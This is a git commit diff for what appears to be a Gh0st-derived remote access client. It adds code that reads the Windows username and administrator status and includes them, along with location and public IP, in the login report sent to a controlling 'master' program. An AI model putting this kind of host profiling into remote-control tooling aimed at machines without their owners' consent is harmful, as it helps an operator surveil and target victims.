Feature&fix: Show username on master program

This commit is contained in:
yuanyuanxiang
2025-11-04 00:15:35 +08:00
parent ea4472445d
commit 0f0dc968f7
4 changed files with 32 additions and 2 deletions

View File

@@ -199,6 +199,7 @@ int main(int argc, const char *argv[])
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
if (ERROR_ALREADY_EXISTS == GetLastError()) {
CloseHandle(hMutex);
hMutex = NULL;
#ifndef _DEBUG
return -2;
#endif

View File

@@ -261,6 +261,19 @@ std::string GetCurrentExeVersion()
return "Unknown";
}
std::string GetCurrentUserNameA() {
char username[256];
DWORD size = sizeof(username);
if (GetUserNameA(username, &size)) {
return std::string(username);
}
else {
return "Unknown";
}
}
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
{
LOGIN_INFOR LoginInfor;
@@ -338,6 +351,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str());
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
BOOL IsRunningAsAdmin();
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
LoginInfor.AddReserved(IsRunningAsAdmin());
return LoginInfor;
}